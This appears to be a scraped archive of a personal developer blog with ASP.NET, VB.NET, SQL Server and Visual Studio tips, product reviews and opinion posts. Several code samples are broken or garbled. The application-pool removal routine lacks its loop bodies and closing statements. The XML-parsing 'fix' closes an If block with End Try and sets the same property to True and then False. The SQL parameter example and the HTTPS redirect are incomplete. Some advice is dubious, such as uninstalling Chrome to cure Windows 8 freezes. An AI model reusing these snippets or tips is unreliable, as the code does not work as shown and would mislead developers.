Discontinued = CASE WHEN Qty.QtyInStock > 0 THEN 0 ELSE 1 END;

Voila! Hope this helps someone

Why Your New Windows 8 Freezes up (Possible FIX)?

Google Chrome vs. Windows 8Wonder why your recently installed Operating System (Windows 8) freezes up?

Do you have a Google Chrome installed on your computer?

If you do please go ahead and uninstall it. Well at least, it worked for me.

Now my PC works flawlessly!

Hope this helps anyone else having the same problem :)

Suppress Uppercase Conversion in Visual Studio 2012

As you’ve already noticed, by default all the Main Menu items in your Visual Studio 2012 are uppercase.

To fix this (to disable/suppress uppercase conversion) you have to create a new DWORD in the Registry Editor.

1. run RegEdit.exe (type RegEdit in the Run)

2. Expand the HKEY_CURRENT_USER as shown on the image below

Registry Editor

Registry Editor

3. Right-click General node and then select New -> DWORD (32-bit) Value as shown on the image below.

Context Menu

Context Menu

4. Name it “SuppressUppercaseConversion” and click OK!

5. Double click the newly created value and set the Value data to 1 (as shown on the image below)

Value data

Value data

Voila. Now re-open your Visual Studio 2012 and your Menu items will appear like in the previous version of your favorite IDE

Fix the uppercase menu items in VS 2012

VS 2012 Main Menu uppercase items

Hope this helps to someone! Cheers

A generic error occurred in GDI+ (Possible Solution)

I guess you’ve read about permissions thing which is that your application doesn’t have a write permission on some directory. But sometimes it can be simply a missing directory. Yeah it did happen to me today. I just found out that VS compiler excluded an empty folder from the pre-compiled version. As soon as i copied the precompiled version i started getting “A generic error occurred in GDI+” error. So next time just double check if missing folder is your problem. Find the code that deals with the GDI+ and be sure that your paths match existing folder(s).

Hope this helps to someone

How to get rid of the XML Parsing Error

XML Parsing Error

XML Parsing Error

I just want to share a possible fix for this odd error. In my case it was a silly if statement in which i decide if MyPanel control should be rendered or not. However i missed the name of the panel control so i ended up with this XML Parsing Error. After i while i figured out that i have an error in the code-behind that looked like the following:

If condition = True Then
   MyPanel.Visible = True
   Visible = False
End Try

Once i changed to the below it worked like a charm.

If condition = True Then
   MyPanel.Visible = True
   MyPanel.Visible = False
End Try

Hope this helps to someone at least

WebsiteSpark Unsubscribe – is it possible?

I would say it is not. Why? Well, because they send you a broken unsubscribe links.
Of course i did that long time ago in the account options (currently cancelled) but it kept sending me various emails.
Most of them if not all, do not contain an unsubscribe link. And now they finally added the link at the footer but it does not work.
If you click it does nothing as it starts with “file:///C%7C/Users/Stephen/Desktop/Projects” etc.
This is the whole link:
Continue reading

How to add and watch movie on your PSP

watch movie on your PSP

watch movie on your PSP

I bought it several months ago. Mainly for my kids to play the games on it. But, last night they ask me if they can watch a cartoon on it. I googled and found a tons of tutorials about how to convert movie to psp format which is MP4. So far so good. I converted the Rio DvdRip to MP4. I connected the PSP with my laptop hoping that i will just copy the converted cartoon to the stick and it will work. But i was wrong. I put it to the root of the memory stick but it didn’t work at all. The PSP was not able to find the movie. Then i googled again and found a lots of tutorials about how to put movie on your PSP. They all suggested the same which is creating a two folders MP_ROOT and 100MNV01 inside it. Some of them even suggested that i name the files M4V10001.MP4, M4V10001.MP4 etc. respectively.  None of these worked for me. Rather i tested something pretty silly as it seemed from beginning. Meaning, i created a brand new folder named VIDEO in the root of the memory stick and i put the converted file as is Rio 2011.mp4. Final result X:\VIDEO\Rio 2011.mp4 !!! Voila!

It worked like a charm. My kids were very happy because of that. Hopefully someone else will find this useful too.

Change Visual Studio 2010 Development Server (Cassini) Port Number

You guys probably know that Visual Studio includes a lightweight ASP.NET development server which is an enhanced version of Cassini.

You may have noticed or heard, people want to change the port number of it so here we go;

1. Rigth click your website in Solution Explorer window and select Properties from the context menu (Alt + Enter). Continue reading

RadControls For ASP.NET AJAX 2011 Q1

RadControl for ASP.NET AJAX
Hello Guys,

Before I continue I would like to mention that I deleted the previous version of this review which was much longer, and more eloquent but then I realized that it is not necessary at all. Simplified, the Telerik controls are a must for every serious developer.

Ok here we go:

I am fairly new to Telerik stuff and I am wondering where to start really. Nevertheless I am very pleasantly surprised by the overall look and performance.

Actually I have NOT been so pleasantly surprised for longer. I cannot resist mentioning that I love its ease of use and above all, easy of install.

Well, usually you use the standard installation (.MSI Setup) but, rather you can DL the libraries and simply add a reference to DLL’s . Voila! You are all set up to use RadControls for ASP.NET AJAX.

It can’t be simpler, right? Continue reading

How to Remove unused Application Pools using ServerManager Class

Public Sub RemoveUnusedApplicationPools()
        Dim manager As New ServerManager
        Dim AppPools As New List(Of String)
        ' fill the list with all pools
        For Each apppool As ApplicationPool In manager.ApplicationPools
        ' if it's used remove from the total list
        For Each website As Site In manager.Sites
            For Each app As Application In website.Applications
        ' remove the unused pools
        For Each unusedApplicationPool As String In AppPools
            Dim apppool As ApplicationPool = manager.ApplicationPools(unusedApplicationPool)
        ' call the commitchanges method
    End Sub

Microsoft Visual Studio 2010 Service Pack 1

Visual Studio 2010 SP1

Visual Studio 2010 SP1

Hello guys. I was wondering what do you think about the final version of the Visual Studio 2010 Service Pack 1?

I found that a lots of developers react negatively. Many of them even rolling back the SP1. They talk about incompatibilities with the SP1 release.

Please share your experience and opinion about the new Service Pack!!! Thanks

Download Link

MSDN Subscribers Here

A regex that matches all credit cards

Regular Expression For Credit Card Numbers

Regular Expression For Credit Cards

This is a regular expression that validates all credit card numbers including VISA, MASTER, AMEX and DISCOVERY! ^((4\d{3})|(5[1-5]\d{2})|(6011)|(34\d{1})|(37\d{1}))-?\d{4}-?\d{4}-?\d{4}|3[4,7][\d\s-]{15}$

<asp:RegularExpressionValidator ID="CreditCardValidator" runat="server" 
   ControlToValidate="CreditCardNumber" Display="Static" 
   ErrorMessage="Please enter valid card number" 
  ValidationGroup="CustomSignup" Text="*" />

SQL Rounding Up Issue

often people complain about rounding up decimal values. The first question they ask is why SQL Server truncates the decimals which is silly because it happens in the code-behind.

For instance, say that you have a field of decimal datatype with precision 5 and scale 2 – decimal(5, 2)
Now if you don’t define precision of the output parameter the value will be rounded up. e.g. 0.99 becomes 1

     @MyDecValue DECIMAL(5, 2) output
     SELECT @MyDecValue = MyDecField FROM MyTable WHERE Foo=1
Dim command As SqlCommand = connection.CreateCommand
command.CommandText = "mySp"
command.Parameters.Add("@MyDecValue", SqlDbType.Decimal, 5).Direction = Output

now if you execute the command the value will be as mentioned rounded up .. meaning, 0.99 becomes 1

You can solve it if you Define the precision and scale of the parameter e.g.

Dim command As SqlCommand = connection.CreateCommand
command.CommandText = "mySp"
Dim decimalsparam As New SqlParameter
decimalsparam.Direction = ParameterDirection.Output
decimalsparam.ParameterName = "@MyDecValue"
decimalsparam.Precision = 5
decimalsparam.Scale = 2
decimalsparam.Size = 5

DXperience v2010 vol 2 Review

Hi guys, this is my second review of these controls, and it will be quite different than the first.

A few months ago I was engaged by a client to develop a web based application. He asked me (I guess they all ask the same) to make it good looking and attractive. The first thing I thought of when I heard this was “I must renew my DXperience subscription”. And now I am glad I did that.

Before I continue, I would like to say something to those readers who are totally new to DXperience. Guys, we all know that one of the more frustrating things for the ASP.NET developers is designing the good looking application. Well folks, your troubles are over! The DXperience takes much of the agony out of developing and designing an outstanding web application.

Here we go! Continue reading

AddHandler Statement

A very basic tutorial on AddHandler Statement. In this project we used it to prevent a non-numerical values to be entered in the textbox controls.

You may also choose the event handler for each control from Designer.
Just select all the controls you want to add the same Event Handler to.
Then from the Events view in Properties panel double click KeyPress and finally add the code that you want to apply to the selected controls.
Note: This approach can’t be used always instead AddHandler statement.

Programmers and the Recession

Programmers And The RecessionHaving a permanent job is priceless these days (you know, recession and stuff). But, it’s sort of limitation for your creativity. Working for you is much better. You often work on projects of your choice, set your own hours, and enjoy the flexibility to take a break whenever you want.

However to afford that, you must be very good if not the best at what are you doing. e.g. .NET programming, Website Design etc. I had luck with all of the above so now i am doing pretty good having a standard income on monthly basis plus I work on other projects as a freelancer.
Continue reading

ASP.NET Exception – Invalid postback or callback argument

Invalid postback or callback argument

Invalid postback or callback argument

I’ve read many different suggestions for the Invalid postback or callback argument exception but, most of them do not work.
Some people will suggest to add your code inside If Not Page.IsPostBack Then block, other will tell you to set EnableEventValidation to false which is not serious at all. Even the compiler suggests ClientScriptManager.RegisterForEventValidation method but in most of the situations these will not work.

One is for certain: This specific exception is mostly thrown when you use a Master page!!!

Add the same javascript attributes to the very same server control out of the master page and you’ll see that it is working just fine.
Continue reading

Bind DataList to DataView Without Using Database

Bind Datalist without DB

Bind Datalist without DB

This is going to be pretty easy so i will not bother you explaining things.
Just Download the Code Sample (sample images included) and you will figure out the rest of it, analyzing the code.
Generally speaking, it gets all *.jpg images from the given folder and display in the DataList control.

Live Example For Binding DataList Without Database (List of Images)

The Source Code Can be Downloaded From Here

Force ASP.NET Page to Use secure HTTP (https) with SSL/TLS

Force ASP.NET to use HTTPS

Force ASP.NET to use HTTPS

Sometimes we want to provide encryption and secure identification of the server creating a secure channel over an insecure network.
In that case we need HTTPS connection which ensures reasonable protection e.g. for payment transactions.


Ok let’s see how this thing works.

Say that your page is as follows:
Ok, just add this code inside Load Event Handler and voila! That’s it!


If Not Request.IsSecureConnection Then
   Response.Redirect(" ")
End If


Google’s New Operating System (Chrome OS)

Google Operating System

Google Operating System

As you know Google announced a new OS called Chrome which is primarily intended and targeted for the netbooks.

However, i want to notice that if Google doesn’t find a way to run ALL (literally all) windows software applications on the new operating system it is going to be just one more Linux distribution.

If the new Chrome OS is able to run MS Office, Visual Studio and SQL Server it will become a serious competition to the Windows. Otherwise as mentioned it will end up as one more Linux distro.

Things I hate about VB.NET

Visual Basic .NET

Visual Basic .NET

1. I hate VB.NET because it doesn’t support block comments. Block comments are very useful for comment out large sections of code. Even T-SQL support block comments! It’s so sad and i need it on daily basis when i am testing something and large section of code should be commented out. I have to use Comment Selection Ctrl+c, Ctrl+k instead.

To be continued…

Only Bernard Madoff ?

Bernard Madoff

Bernard Madoff

I refuse to believe that Madoff is the one and only who is responsible for the new world economic crisis.

Of course he has to fully take responsibility for what he has done but, sentencing only one man to 150 years is NOT a guarantee that it will not happen again?

Rather, we should find out, who endorsed Madoff … ?

I am aware that American justice works in strange ways but, this is too much already.

I am quite sure there must be some people that knew all the time about the Madoff’s tricks and that he was braking the law but none wanted to tell anything because they were probably all involved in.

Otherwise i have no explanation for it !!!


Why we can’t move forward?

Moving Forward

Moving Forward

While the rest of the world is enjoying the era of Nanotechnology, Macedonia (Republic of) is living far behind the expansion of modern science and technology.
So, we cannot move forward because:

1. Our students are still studying Pascal and Java although the IT market demands technologies like ASP.NET, PHP, T-SQL, VB.NET, C# and such. As Macedonian University Professors do not want to upgrade their knowledge our students will stay “not competitive“, “not goal oriented,” and “not future-directed“. Period.

2. Macedonian companies are used to old fashion marketing using medias like Newspapers, Radio and TV. They do not pay attention to the internet marketing which is totally wrong. We need campaigns to constrain these companies to use the potential of the internet. This will cause more people to learn internet marketing, graphic design, program languages and technologies that would affect the unemployment additionally.

3. People in Macedonia use internet only for fun. Mainly they are focused on social networks like facebook and myspace, and also on several domestic portals. They are not aware that the internet is serious business tool/medium that deserves consideration in many, if not all, fields of commerce and it can offer remarkable advantages and opportunities to all of us. Someone needs to motivate and teach them to earn money on the internet.
Continue reading

Make an Application Run at Windows Startup (boot-up)

Run at Windows Startup

Run at Windows Startup

There are numerous techniques that allow a program to be launched automatically by Windows at startup but, let’s see if we can achieve that programatically using VB.NET.

You can automatically start programs whenever Windows launches modifying the registry.

First of, don’t forget to import the Microsoft.Win32 namespace
Continue reading

WordPress Plugins – Connect time issue

Wordpress Plugins Issues

Wordpress Plugins

You must be wondering why i am writing about WordPress and what it has to do with ASP.NET.

Ok i must say that i really love this platform and it is probably the only and the best open-source thing i have ever used in my life. Beside MySQL of course!

As my blog is built on WordPress platform it is understandable that  i am concerned if it works efficiently. right?

Well then let me tell you something about that.

I have been very frustrated when i noticed that my blog is suffering from the so called slow motion. My blog readers was complaining that the blog is getting too slow and that connect time is high. Actually there was a one or two second delay when the page is loading (after it connects and before any graphic comes up).
Continue reading

Sending Mass/Bulk E-mail Using ASP.NET

Mass/Bulk E-mail Sending

Mass/Bulk E-mail Sending

I was asked some time ago to develop an application which involved sending multiple email messages. Later i realized that it is known as mass mail sender.

Means, if you launch an email marketing campaign sending a targeted newsletters and advertisements, you need a mass/bulk sender for that.

Although i have never used any, in fact i know how they work.  Hey – you’re talking to the email king here. I am just kidding … let’s move on!

Continue reading

Making My Blog Stand Out

Readable Understanable Blog Posts

Make Your Blog Readable and Understandable

It is time for writing some ASP.NET technical posts.  

But before that i would like briefly discuss the blogging generally.

Actually, when i launched this blog a few days ago, i have been thinking about how my blog posts will look like.

Many authors tend to write articles which are too complex and too diverse, so the readers cannot easily follow and understand them from the beginning to the end.

Continue reading

Things i hate about Internet Explorer

internet explorer

internet explorer

1. I hate the IE search dialog. Unlike the Firefox search box which is pretty functional and doesn’t occupy any space on my screen IE Search Box is pretty odd and not functional. I was hoping that IE8 will come with improved search options but it didn’t.

2. I hate it’s CSS compatibility. Actually it doesn’t support current CSS standards so implementing a cross-browser design is a real pain in the neck.

3. I hate how it renders the HTML controls. All the controls are slightly bigger than the controls rendered in the other browsers like Opera and Firefox.

4. I hate the ActiveX technology that IE is using yet. So much trouble and of course very vulnerable.

5. I hate the IE Download dialog. In most of the cases it is practically useless as you cannot pause and/or resume your download in case of interruption.

to be continued …